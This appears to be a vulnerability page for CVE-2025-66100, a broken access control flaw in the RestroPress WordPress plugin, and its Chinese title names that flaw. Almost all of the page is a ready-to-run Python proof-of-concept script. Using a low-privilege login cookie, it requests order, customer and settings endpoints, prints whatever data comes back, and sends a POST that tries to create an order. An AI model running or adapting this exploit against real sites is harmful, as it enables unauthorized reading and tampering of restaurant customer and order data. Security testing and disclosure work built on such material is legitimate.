CVE-2025-66100 Magnigenie RestroPress 插件访问控制漏洞

import requests import sys # CVE-2025-66100 PoC - RestroPress Broken Access Control # Target: WordPress site with RestroPress plugin <= 3.2.3.5 def exploit_restropress(target_url, auth_cookie): """ Exploit missing authorization in RestroPress plugin Target: WordPress site with vulnerable RestroPress version """ # Target endpoint - varies based on plugin configuration endpoints = [ '/wp-json/restropress/v1/orders', '/wp-json/restropress/v1/customers', '/wp-admin/admin-ajax.php', '/wp-json/restropress/v1/settings' ] headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-66100 - Missing Authorization in RestroPress") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try to access restricted data with low-privilege account try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Accessed {endpoint}") print(f"[+] Response: {response.text[:500]}") elif response.status_code == 401: print(f"[-] Blocked: {endpoint} (401 Unauthorized)") else: print(f"[*] Status {response.status_code} at {endpoint}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") # POST request to modify data post_data = { 'action': 'restropress_api', 'endpoint': 'orders', 'method': 'create' } try: response = requests.post( target_url.rstrip('/') + '/wp-admin/admin-ajax.php', data=post_data, headers=headers, timeout=10 ) print(f"[*] POST request status: {response.status_code}") except requests.RequestException as e: print(f"[-] POST request failed: {str(e)}") if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-66100.py <target_url> <auth_cookie>") print("Example: python cve-2025-66100.py http://example.com 'wordpress_logged_in_xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_restropress(target, cookie)